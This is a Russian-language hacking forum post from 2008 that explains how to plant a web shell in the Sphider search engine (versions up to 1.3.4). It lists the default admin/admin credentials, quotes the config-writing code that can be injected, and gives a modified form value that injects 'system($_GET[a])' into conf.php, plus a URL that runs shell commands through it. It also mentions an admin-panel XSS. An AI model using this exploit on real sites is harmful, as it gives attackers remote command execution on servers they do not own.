[sphider] Заливка шелла

Discussion in 'Веб-уязвимости' started by Dimi4, 13 Dec 2008.

  1. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Powered by [​IMG] <=1.3.4

    В Задании 003, где требовалось залить шелл был обнаружен этот движок. роспознал я его сразу, так как у самого когда то стоял такой. Сразу же полез на локалхост посмотреть сорцы. Оказалось что довольно просто залить шелл из админки.

    Логин и пасс хранять не в зашифрованом виде в
    http://site.com/sphider/admin/auth.php
    Дефолт:
    PHP:
        error_reporting(E_ERROR E_PARSE);    
        
    $admin "admin";
        
    $admin_pw "admin";
    Собственно заливка шелла
    Уязвимый код:
    PHP:
    if ($_index_pdf=="") {
        
    $_index_pdf=0;

    ...
            
    fwrite($fhandle"\n\n// Index pdf files\n");
            
    fwrite($fhandle,"$"."index_pdf    = ".$_index_pdf";");
    Удобнее это делать в опере. Идем в сорс и меняем это:

    HTML:
     <input name="_index_pdf" type="checkbox"  value="0" id="index_pdf" >
    на это:
    HTML:
    <input name="_index_pdf" type="checkbox"  value="0; system($_GET[a])" id="index_pdf" >
    Сохраняем настройки.
    В итоге имеем:

    PHP:
    // Index pdf files
    $index_pdf    0; echo($_GET[a]);
    http://site.com/sphider/settings/conf.php?a=ls -la

    По иронии судьбы на том сайте что в задании прав на запись не хватало.

    Также в админке есть xss. Но пользы мало, так как мы уже в админке).
     
    #1 Dimi4, 13 Dec 2008
    Last edited by a moderator: 15 Nov 2009
    1 person likes this.